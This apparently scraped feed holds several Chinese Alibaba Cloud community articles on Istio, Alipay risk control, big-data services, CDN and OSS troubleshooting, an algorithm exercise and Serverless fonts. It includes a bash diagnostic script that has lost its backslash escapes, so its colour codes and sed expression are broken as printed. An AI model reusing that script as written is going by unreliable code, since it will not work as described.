        如果说 Kubernetes 管理的对象是 Pod,那么 Service Mesh 中管理的对象就是一个个 Service,所以说使用 Kubernetes 管理微服务后再应用 Service Mesh 就是水到渠成了,如果连 Service 你也不想管了,那就用如 knative 这样的 serverless 平台,但这就是后话了。

        Envoy/MOSN 的功能也不只是做流量转发,以上概念只不过是 Istio 在 Kubernetes 之上新增一层抽象层中的冰山一角,但因为流量管理是服务网格最基础也是最重要的功能,所以这将成为本书的开始。

        参考

        ]]>
        为什么支付宝有底气说“你敢付我敢赔”?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 随着技术纵深发展,“万物互联”的概念已不鲜见,在数字化世界的游戏规则里,除了网络基础信息安全隐患外,业务安全风险也已经越来越被重视。

        陈锣斌是支付宝大安全的资深架构师,已拥有近十年“蚁龄”。

        从2010年9月加入蚂蚁后,陈锣斌主要负责业务风控平台的实时计算以及数据相关工作,经历过整个业务风控从2代平台到5代平台进入智能化阶段的建设,近两年陈锣斌同时进入到基础安全领域,带领平台研发团队建设“安全全域态势威胁感知平台”,为支付宝整体安全的攻防提供有力支撑。

        当我们在谈互联网安全的时候,我们在谈什么

        在陈锣斌看来,互联网安全目前主要两个大领域,一块是网络信息安全或者说是基础安全,另一块是在网络上各种应用、服务所涉及的业务本身的业务安全。在此之后才有“风控系统”的到来。

        前者其实就是互联网上的信息安全。涉及到互联网上信息的保密性、完整性、可用性、真实性和可控性的相关技术。比如,个人在网站上的隐私信息保护、网络通信的时候防止信息被窃取监听,为防止黑客入侵造成服务攻击或者数据泄露所建设的各种安全防护能力等。

        最开始是1988 年,世界上第一例蠕虫病毒“Morris”出现,之后世界上各种病毒、木马和网络攻击层出不穷,严重威胁到互联网的繁荣和用户数据的安全。特别是制造网络病毒逐渐成为一种有利可图的产业,网络安全就基本上成为伴随互联网扩散的常态问题,且愈演愈烈。

        从“Morris”到“wannacry”,蠕虫病毒挑战的不只是安全防护技术

        后者业务安全,其实就是在互联网上开展各种业务所面临的一些风险防控的技术。比如社交的相关业务就会涉及到内容的安全(暴恐政、黄赌毒),电商业务的刷单、营销作弊,还有就是支付的时候的支付风控、洗钱、欺诈等风险防控。

        网络安全的过去、现在和未来

        陈锣斌认为,早期对安全的认知都相对简单,很多人认为个人电脑就是杀毒软件,网络就是防火墙,业务安全可能就是数字证书、密码加上简单的异步监控。但随着市场的扩张,不断升级的安全风控的能力成为各大互联网公司的标配。

        互联网是一个开放的世界,不法分子、黑产都会想在其中寻找牟利的机会,互联网重要业务的开展现在都离不开多种网络安全的能力,当一个公司不具备这方面足够能力的时候,很容易使得业务开展举步维艰,甚至直接影响公司的生存,比如,游戏(入侵系统、游戏外挂)、社交(内容安全)、营销广告(营销作弊)、电商(刷单、欺诈),愈演愈烈的风险手法已经不是在单一的安全领域能独立解决的,更需要从整个安全体系来看,综合的安全防控方案是什么,基础安全和业务安全深入联动也已成为行业共识。

        相对应地,基础安全技术和业务安全技术也两者从原先的相对比较独立到逐渐走向了融合,业务安全主要基于大数据计算、模型算法来做风险检测,基础安全在反入侵、反爬主机安全等方面也使用很多的大数据技术,两者在风险的联合防控上越来越紧密,在技术上大数据计算、人工智能方面也有越来越多的交集。支付宝AlphaRisk就是这方面的典范。

        陈锣斌重点揭示:网络安全趋势将走向需要综合性防控的道路,单一安全/风险技术都很难防控住目前互联网上的新型风险。

        支付宝为什么腰杆这么硬:“你敢付,我敢赔。”

        早在2005年,支付宝就有相应的风控系统以及对应的职能部门,为守护客户的每一分钱而努力。“你敢付,我敢赔”的理念一直延续至今。

        相信有不少人看过《智造将来》黑客攻击支付宝的电视节目,节目中几位顶尖黑客拿着“真枪实弹”一层层攻入一位普通用户的支付宝,试图转走5元。5元在普通的转账过程中其实是极为正常的,这样小额的数目为支付宝的安全系统带去了更大的挑战。据支付宝大安全掌门人芮雄文回忆,当时确实捏了一把冷汗,黑客已经拿到了支付宝用户的密码、银行卡,甚至已经用软件控制了手机可以发送验证码当场修改密码……在看似360度无死角的黑客攻击后,支付宝的AlphaRisk依旧是完美地阻止了所有非正常的支付行为。

        当“黑客”攻入支付系统时,雄文在内的所有人都捏了一把汗

        支付宝已经成为用户全球排名第一的移动支付工具,而保障支付宝毫发未损的风控系统经历了五代升级,现如今,它的正式名称为“AlphaRisk”。

        AlphaRisk是支付宝风控多年实践与技术创新的智慧结晶,是全球最先进的风控系统之一,在其保护下,支付宝交易资损率不到千万分之一,远低于国际同行。“如果拿自动驾驶的等级定义来比喻,目前AlphaRisk处于L2和L3之间。在智能化的加持下,处于行业领先水平。”陈锣斌说。

        AlphaRisk的原理是应用AI技术颠覆传统风控的运营模式,通过Perception(风险感知)、AI Detect(风险识别)、Evolution(智能进化)、AutoPilot(自动驾驶)4大模块的构建,将人类直觉AI(Analyst Intuition)和机器智能AI(Artificial Intelligence)完美结合,打造具有机器智能的风控系统,愿景是实现风控领域的“无人驾驶”技术。

        支付宝平台上每天都有上亿笔交易,通过AlphaRisk智能风控引擎,不仅能够对每个用户的每笔支付进行7×24小时的实时风险扫描;同时通过不断新增的风险特征挖掘和优化算法迭代的模型,自动贴合用户行为特征进行进化风险对抗,不足0.1秒就能完成风险预警、检测、管控等流程,确保用户账户安全和支付交易的万无一失。

        安全一直是支付宝发展的生命线,支付宝从一而终地践行着“你敢付,我敢赔”的理念,时至今日,支付宝在风控领域的探索、创新,以及落地应用都处于世界的前列。

        “热情加实践经验是最重要的”

        目前支付宝大安全也一定程度上代表了当今世界安全技术的巅峰,加入这个团队你必然会被培养成在网络安全技术领域的中流砥柱。

        在陈锣斌眼里,安全风控领域是集基础建设、安全攻防、大数据技术、人工智能于大成的一个交叉领域。由于在激烈的复杂对抗一线,在这个领域的人能得到最充分的锻炼,技术也最有希望快速做到业界顶尖。

        对于想加入大安全的同学来说,陈锣斌建议同学们在夯实基础的同时,还是要多多动手,多做,无论实验室项目还是企业实习项目,实际去做和停留在理论上是不同的结果,具体还有如下三点:

        1.技术基础:计算机基础知识扎实、数据结构、算法等能活学活用,有1~2门掌握的较好的语言。

        2.有成果:有较多的实践,有实际项目经验很重要,真正用技术、算法去解决过一些问题,也可以是去参加过什么比赛,有过何种收获等。

        3.有热情:学习能力,平时在自己的领域之外,是否有关注更多的前沿技术,学了什么,去思考过什么。

        加入我们

        > 团队介绍

        蚂蚁金服大安全事业群是管理蚂蚁金服账户安全、资金安全、内容安全和数据信息安全、系统平台安全的核心部门。团队运用最新的生物核身技术和大数据技术,结合专家经验、数据分析方法和AI手段,保障用户的权益和资金安全。

        蚂蚁金服的旗下产品包括支付宝、蚂蚁财富、芝麻信用、花呗、相互宝、余额宝、蚂蚁金服等。

        > 你想要的我们都有

        前沿领域:科技驱动金融,金融科普大众,支付宝的核心业务在于安全。参与建设各种安全项目,感受安全如何成为实现普惠金融、构建新金融生态的核心驱动力。

        一流平台:全球10亿用户的大平台,全球一流的互联网安全技术体系!近距离接触支付宝风控多年实践与新技术创新的最新成果——第五代智能风控引擎AlphaRisk!

        最新技术:体验应用AI技术颠覆传统风控的最新动向,参与建设具有机器智能的风控系统,一起实现风控领域的“无人驾驶”技术。

        > 岗位简介

        社招工作地点:杭州

        校招/实习工作地点:杭州/上海/成都/北京

        校招/实习岗位类型:

        1. 研发类:Java、C++、安全、前端、客户端、数据研发

        2. 算法类:机器学习、图像图形、NLP等

        > 简历投递

        邮箱:luobin.chen@antfin.com

        蚂蚁金服“共战‘疫情’,技术破局”数字课堂线火热直播中。4月2日,走进阿里云云栖号在线课堂,蚂蚁金服数据技术专家王嘉喆和高级体验设计师徐海豪将针对新版Ant Design 4.0的整体设计思路,以及在图表自动生成的用法和原理上的突破进行详细介绍。扫描下方二维码即可观看直播!

        ]]>
        E-MapReduce弹性低成本离线大数据分析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:明誉


        大数据是一项涉及不同业务和技术领域的技术和工具的集合,海量离线数据分析可以应用于多种商业系统环境,例如,电商海量日志分析、用户行为画像分析、科研行业的海量离线计算分析任务等场景。

        离线大数据分析概述

        主流的三大分布式计算框架系统分别为Hadoop、Spark和Storm:

        • Hadoop可以运用在很多商业应用系统,可以轻松集成结构化、半结构化以及非结构化数据集。
        • Spark采用了内存计算,允许数据载入内存作反复查询,融合数据仓库、流处理和图形计算等多种计算范式,能够与Hadoop很好地结合。
        • Storm适用于处理高速、大型数据流的分布式实时计算,为Hadoop添加可靠的实时数据处理能力。

        海量离线数据分析可以应用于多种场景,例如:

        • 商业系统环境:电商海量日志分析、用户行为画像分析。
        • 科研行业:海量离线计算分析和数据查询。
        • 游戏行业:游戏日志分析、用户行为分析。
        • 商业用户:数据仓库解决方案的BI分析、多维分析报表。
        • 大型企业:海量IT运维日志分析。

        架构图

        image.png

        方案优势

        • 高性能、低成本
        • 快速部署
        • 弹性
        • 多种计算模式
        • 无缝对接开源生态
        • 一站式管理平台

        方案详情

        详情请参见E-MapReduce弹性低成本离线大数据分析最佳实践


        对开源大数据感兴趣的同学可以加小编微信(图一二维码,备注进群)进入技术交流微信2群。也可钉钉扫码加入社区的钉钉群

        image.png

        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区数个Spark技术同学每日在线答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!
        image.png

        Apache Spark技术交流社区公众号,微信扫一扫关注

        image.png

        ]]>
        【CDN 排查方案-1】认识 CDN 网络调优-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:张医博

        背景:面向不同业务类型的网站,很多人都选择了 CDN 加速来优化自己的网站,目的在于加速网民的体验效果,赢取流量。

        在网站调优的过程中,如果正确理解基于 CDN 的网络调优以及正确的配合 CDN 服务方来快速提供调优信息做了详细的讲解,

        希望对大家有用,希望对从事 CDN 的人和对网络调优感兴趣的人能有作用。

        1、确认调优类型

        1.1、静态文件

        • 小文件: URL 小于 64KB
        • 大文件: URL 大于 1MB
        • 视频流:相当于大文件,要求速度平稳无卡顿
        • 全页面:网页包含多个域名及元素

        1.2 动态

        • 小文件: URL 小于 64KB
        • 全页面网页: 包含多个域名及元素
        • 事物流程:模拟访问,登录,点击,提交等行为

        1.3 协议

        • http、https

        1.4 调优评测机制

        • NetworkBench 、Gomez、 Bonree

        1.5 用户自定义评测

        • 日志统计(下载日志分析对比)
        • client 端探测(内嵌入播放器)
        • 自定义监测点(苹果 ADSL 检测)

        2 观察指标时间,找出阻塞时间点

        DNS 时间

        image.png

        建联时间

        image.png

        • 定义:

        浏览器和 WEB 服务建立 TCP/IP 连接时间

        • 特征

        代表 RTT ,直接体现 ping 值,反应 CDN 边缘节点质量

        建联时间应该在 30ms 以内,小文件建联时间应越小越好。

        建连时间是基础,建联时间长会引发一系列慢的情况,不同 CDN 服务商会有不同的 TCP/IP 的优化。

        SSL 握手时间

        image.png

        • 定义

        浏览器和 WEB 服务端建立安全套接层(SSL)链接的消耗时间

        • 特征

        只有 HTTPS 协议中才有这个时间指标,反应服务端的处理能力,SSL 握手时间长会导致整体时间长

        首包时间

        • 定义:是从浏览器发送 HTTP 请求结束后,收到 WEB 服务器返回的第一个有效载荷数据包
        • 特征:代表建联时间和服务器的响应时间之和

        建联时间长且首包时间长:网络问题

        建连时间端但首包时间长:服务器负载过高,或者静态数据没能缓存住

        内容下载时间

        image.png

        • 定义:浏览器从收到首包开始计时,至数据包全部接收全所需要的时间
        • 特征:

        受网路质量(RTT 和丢包率)影响

        受设备负载影响

        受 TCP 协议栈技术影响

        3、CDN 调优可调的指标有哪些

        • 解析层级 :应控制台二层以内,解析层级过多损耗更多。
        • CDN 节点配置:节点精细化比较好,一般都是到省级别的骨干节点,辅助个别地市级别的节点
        • 如果遇到域名劫持,需要向当地运营商反馈,目前 CDN 在 client 端防劫持的手段可以通过 HTTPS 预防,效果不一定是 100% 但是在 DNS 阶段不太好禁止。DNS 劫持我们可以通过 nslookup 或者 dig 验证。

        检查设备负载

        • CPU 负载高,导致应用处理能力下降
        • 磁盘 I/O 负载高,导致服务器给出资源耗时长
        • cache server 响应时间
        • 网络负载
        • 带宽负载

          • 设备带宽

        虚拟机(网桥性能问题)接近阈值丢包响应时间长

        物理机(网卡级别)接近阈值丢包,响应时间长

        • 连接数异常高,导致网络处理能力下降

        长连接

        keepalive 是使用同一个 TCP 链接来发送和接收多个 HTTP 请求/应答,而不是每一个新的请求/应答打开新的连接的方法。

        image.png

        未完待续

        ]]>
        【OSS 排查方案-3】OSS 的网络排查-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:张医博

        背景

        鉴于之前遇到很多 本地-》OSS ,上传、下载总是慢的情况,或者上传、下载经常出现错误或者异常的问题。根据多个典型案例,抽象出一下排查方案,希望对大家快速定位问题有所帮助。

        一、必要了解信息

        • requestID ,一般情况都会有,标识此次 OSS request 到达 OSS 服务端后返回的标志。除非建联失败,否则都会有这个 requestID 的,当问题比较难排查时可以将 requestID 提供给阿里云客服作为定位线索。
        • 明确 上传/下载 的方式(阿里的工具、SDK、API、浏览器),不同的方式会有不同的思路,类似 JAVA SDK 如果 maxconnection 设小了,也会造成链接等待超时。
        • 使用内网还是公网,大多数我们建议在 ECS 和 OSS 同可用区时最好使用内网,这样费用低,速度还快,公网一般出现拥塞,会被网络无限扩大。
        • 在 client 端 ping traceroute MTR 到 OSS 服务端的截图信息,看看到公/私网是否有丢包,或者用 tcpdump 抓包看下网络是否有高延迟高丢包以及 TCP 协议栈异常的问题。
        • 是否有明显报错,基本上遇到 socket timeout 的情况,都是网络超时,可以从本机的网络以及本机连接数,或者 client 是否有超时设置来排查。。
        • 以上信息收集到后准备测试,源 OSS URL 测试(举例):curl -svo /dev/null http://img.oss-cn-hangzhou.aliyuncs.com/uploads/temp/2018-01-02%20%2013-52-15-operate-stat.xls
        • 如果要是 CDN -》 OSS 的问题,可以分别固定 CDN 和 OSS 源站进行测试 curl -I -x CDNIP:80 http://xxx/xxx,固定源站 curl -I -x http://xxx.oss-cn-xxx.aliyuncs.com/xxx 如果测试 OSS 200 正常, CDN 异常,则问题可能发生在 CDN 侧。

        二、明确自己的服务架构逐层排查

        • 本地 -》 OSS
        • 本地 -》proxy -》OSSproxy 种类有很多,
        • SLB
        • WAF
        • 高防

        三、场景拟合

        1、长时间或者间断性不能访问到 OSS

        这种情况,先确认一下自己 bucket 有没有欠费,是否有被拉黑等,其次再本地的 PC 端 ping 下自己要访问的 OSS 公网域名(如果是用内网 ECS 通过私网 OSS 域名上传,可以 ping 私网域名)是否能通,以及 traceroute 到对端 OSS 的路由路径,看下是否断在了哪一跳。同时请自己网外的他人协助下同时发起 ping 和
        traceroute 测试,看是否同样访问不通。如果是一样场景,可以将搜集的信息反馈给阿里云客服排查服务端是否异常。

        image.png

        场景2、本机上传文件到 OSS 超时,然后自动恢复

        image.png

        如图,遇到这类问题,需要先获取到必要信息。然后结合图中的 error 来看 socket 的异常,基本判断是由于网络问题导致了 Header 响应超时。侧面的 MTR TRACEROUTE 也可以看出来当时的网络质量如何,如网络正常但依然超时,可以直接抓包看下是哪端导致。

        场景3、使用 JAVA SDK 上传文件超时返回 502

        [chat-service] 2017-12-22 11:09:17,443 - com.aliyun.oss:73 -51224385 [http-nio-9081-exec-137] WARN - [Server]Unable to execute HTTP request: The difference between the request time and the current time is too large. [ErrorCode]: RequestTimeTooSkewed [RequestId]: 5A3C77583373BA19746BB032 [HostId]: sobot.oss-cn-beijing.aliyuncs.com [ResponseError]: <?xml version="1.0" encoding="UTF-8"?> <Error> <Code>RequestTimeTooSkewed</Code> <Message>The difference between the request time and the current time is too large.</Message> <RequestId>5A3C77583373BA19746BB032</RequestId> <HostId>xxx.oss-cn-beijing.aliyuncs.com</HostId> <MaxAllowedSkewMilliseconds>900000</MaxAllowedSkewMilliseconds> <RequestTime>2017-12-22T02:53:44.000Z</RequestTime> <ServerTime>2017-12-22T03:09:12.000Z</ServerTime> </Error>
        

        image.png

        如图,可以出现这种 Message ,已经明确告诉你本地与 OSS 服务端的时间差 >15min 导致。“The difference between the request time and the current time is too large”,出现此问题,一般与以下两个原因有关系:
        1)用户本地的时间与服务端器的时区不一致,要求用户本地是标准的 GMT 或者 UTC 时间。
        2)网络拥堵导致的等待时间过长超过 15min 。
        3)JAVA SDK 参数配置不合理,比如 max connection

        具体处理工作流如下

        image.png

        场景4、OSSFTP 上传到 OSS 时,抓包出现 zeroWindows

        image.png

        1、OSSFTP 是将远端的 OSS 挂载到本地,但操作的文件每次都是发起 HTTP 请求远端 OSS ,所以受到网络和本地 IO 的影响,高敏感的业务是不太适合的。

        2、看数据包中客户端发生的 ZeroWindows (代表 本地协议栈的 cache buffer 出现过满,应用层无法消费掉 buffer 的数据)

        3、通过 ECS 机器查看自己 CPU 、内网、网卡 是否有跑满情况,这种情况负载过高必然回导致慢的情况。

        建议:

        1、由于 OSSFTP 是串行,而且是 FTPCLIET->FTPSERVER->OSS SERVER 两段操作性能无法保证,推荐使用 ossutil ,
        链接:https://help.aliyun.com/document_detail/50452.html?spm=5176.doc31935.6.1032.YMtcGp

        2、ossutil 在上传大文件时可以采用分片多线程的粒度上传,而我们的 ossftp 是不存在分片的。所以还是推荐 ossutil

        未完待续

        ]]>
        当打之年,非你莫属——阿里云 MVP第12期全球发布-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 阿里巴巴董事会主席兼首席执行官张勇认为:如今,5G网络、工业互联网、物联网等网络基础、数据中心等数字基础、人工智能等运算基础,成为必要而普遍的新型基础设施。加快“新基建”进度,不是简单的基础设施建设,而是与产业化应用协调推进,既能增强基建稳增长的传统属性,又可以助推创新和拓展新消费、新制造、新服务。

        未来需要更多拥有创新能力和实战能力的开发者参与到各个行业中,利用“新基建”拓展商业的边界。

        image.png

        阿里云最有价值专家,简称 MVP(Most Valuable Professional),是专注于帮助他人充分了解和使用阿里云的技术实践领袖。近期,我们重磅发布阿里云 MVP 第12期全球名单。 MVP在各行各业里与阿里云一起改变世界,利用新技术打破商业的边界,创造更多新应用、新工具。他们影响着广大的开发者们,成为行业里的弄潮儿!

        曾任58集团技术委员会主席、转转首席架构师的孙玄,多年的大厂经验,在每个周末沉心修炼技术功底,提升演讲能力。认清自我做自己擅长的事情,拉通集团资源打造弹性的开发平台,让转转在2018年世界杯时顺滑的完成了业务高峰。2020年初放弃优厚的收入创建了“奈学教育”,他专注于数字化转型,在技术驱动和技术革新的环境下,新时代技术人才培训教学体系的革新,现在他拥有了新的身份——阿里云 MVP!

        查看特立独行的架构师——孙玄个人专访!

        豆瓣9.0分的Java大神周志明,他的著作《深入理解Java虚拟机》系列总销量超30万册,他喜欢研究“为什么”:新技术背后的思考是什么?新行业背后的逻辑是为什么?他说技术只是工具,重要的是要用开放的心态去拥抱未来。他虽然是主管但不愿脱离一线开发,一直热衷于开源技术。他建议开发者们通过“说出来、写出来、做给别人看”提升自己的技术水平。这就是阿里云 MVP周志明。

        查看职业电竞选手的Java大神路——周志明个人专访

        杨飞现任每日瑜伽技术负责人,他放下跨国公司的从业经验,从零开始从后端服务器转到系统架构。他说创业公司无边界,大厂有体系,工作就是最好的练兵场,无论身份是什么。啃下难啃的技术难题,与团队形成“正反馈”,不断扩张自己的边界,是他自己多次跨越式成长的心得。

        image.png

        他们扎根行业,磨炼着技术的广度和深度;他们纯粹地拥抱新技术,接受着行业的挑战;他们成为管理者,但仍热爱代码;他们不畏挑战,也勇于接受挑战,快速学习新技术大胆验证。三人行必有我师,他们可能少年老成,他们可能已获取功名,成为所在行业的中坚技术力量,成为公司保驾护航的盾牌,成为行业的革新者,引领着行业走向更高的赛道。

        阿里云 MVP就是一群技术领袖,拓展商业的边界,引领行业的变革,普惠更多的行业及开发者,这是阿里云MVP们的信念!

        一群热爱技术、纯粹的技术人,他们利用云计算、大数据、人工智能、区块链等等技术,让行业中的不可能变成了可能。

        ]]>
        【OSS 排查方案-2】CDN+OSS 基础排查工具-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:张医博

        工具说明: CDN+OSS 的服务架构。

        目的:当用户遇到 CDN + OSS 投诉问题后,可以先用此工具测试一下基本的测试指标,初步判断问题故障点,同时可以将脚本结果粘贴给阿里云客服更快定位信息。

        使用方法:sh check_cdn_oss.sh 域名 请求URL OSS公网域名

        Usge: check_cdn_oss.sh www.zhangyb.mobi http://www.zhangyb.mobi/index.html youkou.oss-cn-beijing.aliyuncs.com

        如有需求,可提改进意见,工具会继续完善,谢谢。

        #!/bin/bash
        #-*- coding: utf-8 -*-
        # author: hanli
        # mail: zhang_15127648471@163.com
        # describe: 在 LINUX 端上执行用来检查初步的排障信息。适用于 CDN+OSS 的服务场景
        # Initial variable
        # update: 2018-01-17
        
        DOMAIN=$1
        REQURL=$2
        ENDPOINT=$3
        LGREE="33[32m"
        LRED="33[31m"
        RGREE="33[0m"
        RESULT=""
        CODE=""
        STATUS=""
        CACHE=""
        
        # 检查脚本输入参数
        function Judge(){
                     
          local DOMAINS="www.zhangyb.mobi"
          local REQURLS="http://www.zhangyb.mobi/index.html"
          local ENDPOINTS="youkou.oss-cn-beijing.aliyuncs.com"
            
          if [ $1 -ne 3 ]; then
            echo -e "${LRED}Usge${RGREE}: $0 ${DOMAINS} ${REQURLS} ${ENDPOINTS}" && exit 1
          fi
          CheckEnvoirment
        }   
        
        # 检查本机依赖环境
        function CheckEnvoirment(){
          echo -e "${LGREE}INFO: CHECKING SCRIPTS DENPENDENT ENVIORMENT... ${RGREE}"
          which sed >/dev/null 2>&1 && DealWith sed || echo -e "${LRED}INFO: THE SED CANNOT BE USE, START USE AWK${RGREE}"
          which awk >/dev/null 2>&1 && DealWith awk || echo -e "${LRED}INFO: THE AWK CANNOT BE USE${RGREE}"
          echo -e "${LRED}INFO: UNABLE FIND SCRIPTS DEPENDENT ENVIORMENT!!!${RGREE}" && exit 1
        }
        
        function DealWith(){
        
          if [ "$1" == "sed" ]; then
            OSSURL=$(echo ${REQURL} | sed -r 's/(http://)([^/]*)(/.*)/1'${ENDPOINT}'3/' 2>&1 )
          elif [ "$1" == "awk" ]; then
            OSSURL=http://${ENDPOINT}$(echo ${REQURL} | awk -F"//" '{print $2}' | awk -F "/" '{print "/"$2}' 2>&1)
          else
            echo "${LRED}INFO: GET OSS URL ERROR!!!${RGREE}" && exit 1
          fi
          CheckPing
        }    
        
        # 开始各项检查
        function CheckPing(){
          
          echo -e "${LGREE}INFO: CHECKING NETWORKING...${RGREE}"
          ping www.taobao.com -w 4 -d >/dev/null 2>/dev/null
          [ "$?" != "0" ] && echo -e "${LGREE}INFO: MACHINE NETWORKING FAILURE${RGREE}" && exit 1
        
          echo -e "${LGREE}INFO: NETWORK IS GOOD ${DOMAIN} CHECKING...${RGREE}"
          ping ${DOMAIN} -w 4 -d >/dev/null 2>/dev/null
          [ "$?" != "0" ] && echo -e "${LGREE}INFO: DOMAIN ${DOMAIN} NETWORK FAILURE${RGREE}"
        
          echo -e "${LGREE}INFO: OSS DOMAIN ${ENDPOINT} CHECKING...${RGREE}"
          ping ${ENDPOINT} -w 4 -d >/dev/null 2>/dev/null
          [ "$?" != "0" ] && echo -e "${LGREE}INFO: OSS ${ENDPOINT} NETWORK FAILURE${RGREE}"
        
          Check 
        }
         
        function Check(){
        
          if GetInfo; then
            echo -e "${LGREE}INFO: ${RESULT}${RGREE}"
          fi
        
          if GetDomain; then
            echo -e "${LGREE}INFO: CHECK WORK LEGAL${RGREE}"
          else
            echo -e "${LRED}INFO: DOMAIN SERVICE NOT IN ALIBABA${RGREE}" && exit 1
          fi
        
          if GetCurl; then
            echo -e "${LGREE}INFO: URL HTTP CODE ${STATUS}, CACHE TIME ${CACHE}${RGREE}"
          else
            echo -e "${LRED}INFO: CHECK CDN DOMAIN WORK IS FAILURE${RGREE}"
          fi
        
          if GetOSS; then
            echo -e "${LGREE}INFO: OSS IS WORK GOOD${RGREE}"
          else
            echo -e "${LRED}INFO: OSS IS WORK FAILURE${RGREE}"
          fi
          exit 0
        }
        
        # 测试 CDN 访问连通性
        function GetCurl(){
        
          CODE=$(curl -svo /dev/null ${REQURL} -m 2 2>&1 | egrep -i "HTTP/[1|2].[0|2|1] .*" | fgrep 200)
        
          if [ ! -z "${CODE}" ]; then
            STATUS=$(curl -svo /dev/null ${REQURL} -m 2 2>&1 | grep -i "x-cache" | grep -i hit >/dev/null && echo "HIT" || echo "MISS")
            CACHE=$(curl -svo /dev/null ${REQURL} -m 2 2>&1 | grep -i "X-Swift-CacheTime" | awk '{print $3}')
            return 0
          fi
          return 1
        }
        
        # 测试 OSS 访问连通性
        function GetOSS(){
          local OSSCODE=$(curl -svo /dev/null ${OSSURL} -H "Host: ${DOMAIN}" -m 2 2>&1 | egrep -i "HTTP/[1|2].[0|2|1] .*" | fgrep 200)
          local OSSRESP=$(curl -sv0 /dev/null ${OSSURL} -m 2 2>&1 | egrep -i "HTTP/[1|2].[0|2|1] .*" | fgrep 200)
          [ ! -z "${OSSCODE}" ] || [ ! -z "${OSSRESP}" ] && return 0 || return 1
        }
        
        # 获取本地的 DNS CLIENT IP
        function GetInfo(){
        
          local TIMESTART=$(date +%s)
          local TIMEEND=$(date +%s)
          local URL="https://42-120-74-167-408161718.dns-detect.alicdn.com/api/cdnDetectHttps"
          local METHOD="commitDetectHttps"
          local DETECTID="408161718"
          local JQUERY="jQuery110104439492578113773"
          local INFO=$(curl -v "${URL}?method=${METHOD}&detectId=${DETECTID}&cb=${JQUERY}_${TIMESTART}&_=${TIMEEND}" 2>&1 | xargs | awk '{print $NF}')
        
          if [ ! -z "${INFO}" ]; then
            RESULT=$(echo ${INFO} | egrep -o "ldns:.*,localIp:[^}]*")
            [ ! -z "${RESULT}" ] && return 0 || return 1
          fi
          return 1
        }
        
        # 判断是否有 CNAME 记录,是否在阿里云加速
        function GetDomain(){
        
          local CNAME=$(dig ${DOMAIN} +time=1 2>&1 | fgrep CNAME | awk '{print $NF}' |fgrep kunlun)
          [ ! -z "${CNAME}" ] && return 0 || return 1
        }
        
        
        Judge $#
        ]]>
        算法笔试模拟题精解之“平行线”-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 在线编程介绍

        阿里云开发者社区在线编程产品,针对广大开发者学习、实践、面试、应聘、考试认证等打造的免费在线刷题神器。题库来自笔试模拟题、算法大赛模拟题等,界面整洁明了,操作简单,为用户营造专心答题的学习环境。点击链接开始体验:https://developer.aliyun.com/coding

        本文为大家介绍其中的第72题:平行线 的题目解析,具体如下:

        题目描述

        查看题目:平行线 为了管理动物园不听话的大猩猩们,动物管理员决定去远方的动物之城找一些平行线。
        当他逛到一个神奇的店铺时,他发现了一副黑色的图,上面依稀可见一些白色的点。
        动物管理员询问店铺老板这幅画是什么,老板说:“天机不可泄露”。动物管理员仔细端详了一会这幅画后,他发现其中的一些白点可以连成两条平行线。
        动物管理员问这幅画多少钱,老板说:“原价¥99999999999,但现在你只要计算出来这里面有几对平行线,就可以打折,有几对平行线就价值多少钱”。请你计算出动物管理员最少需要支付多少钱?

        输入一个整数n,表示总共有n个点(1 <= n <= 1000);和一个含有n组数据(xi, yi)的数组,(xi, yi)表示二维平面上一个点(1 <= xi,yi <= 1000),且每个点均不重复。

        输出n个点能够找出几对平行线。(答案不超过int)
        示例1
        输入:
        6
        [[0,0],[1,0],[1,1],[3,1],[3,3],[5,4]]
        输出:
        10

        解题思路:排序问题

        任意两点确定一条直线。判断两条直线是否平行就是比较两条直线的斜率。这道题对于由不同的点确定的但是重合在一起的直线应该也判断为一组平行线。
        一共有n个点,就有n*(n-1)/2条直线。对于点i和j确定的直线斜率为(yi-yj)/(xi-xj).
        使用一个数组保存斜率,然后排序。
        排序过后相同斜率的直线就在连续的位置了。
        假设斜率为k的直线有a条,对应着有a*(a-1)/2组平行线(任意两条相互平行)。
        遍历一次排序后的数组就可以得到结果。
        使用简单的冒泡排序可能会超时,考虑更快的快速排序,归并排序或者直接使用java的排序函数。
        时间空间复杂度与排序算法有关。

        看完之后是不是有了想法了呢,快来练练手吧>>查看题目
        image.png

        ]]>
        Serverless 解惑——函数计算如何安装字体-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 0745C687-1851-464a-928B-2B0DE9FB5D56.png

        前言

        首先介绍下在本文出现的几个比较重要的概念:

        函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息 参考
        buried_point
        Fun: Fun 是一个用于支持 Serverless 应用部署的工具,能帮助您便捷地管理函数计算、API 网关、日志服务等资源。它通过一个资源配置文件(template.yml),协助您进行开发、构建、部署操作。Fun 的更多文档 参考

        备注: 本文介绍的技巧需要 Fun 版本大于等于 3.6.7。

        函数计算运行环境中内置一些常用字体,但仍不满足部分用户的需求。如果应用中需要使用其它字体,需要走很多弯路。本文将介绍如何通过 Fun 工具将自定义字体部署到函数计算,并正确的在应用中被引用。

        你需要做什么?

        1. 在代码(CodeUri)目录新建一个 fonts 目录
        2. 将字体复制到 fonts 目录
        3. 使用 fun deploy 进行部署

        工具安装

        建议直接从这里下载二进制可执行程序,解压后即可直接使用。下载地址

        执行 fun --version 检查 Fun 是否安装成功。

        $ fun --version
        3.7.0

        示例

        demo 涉及的代码,托管在 github 上。项目目录结构如下:

        $ tree -L -a 1
        
        ├── index.js
        ├── package.json
        └── template.yml

        index.js 中代码:

        'use strict';
        
        var fontList = require('font-list')
        
        module.exports.handler = async function (request, response, context) {
            response.setStatusCode(200);
            response.setHeader('content-type', 'application/json');
            response.send(JSON.stringify(await fontList.getFonts(), null, 4));
        };

        index.js 中借助 node 包 font-list 列出系统上可用的字体。

        template.yml:

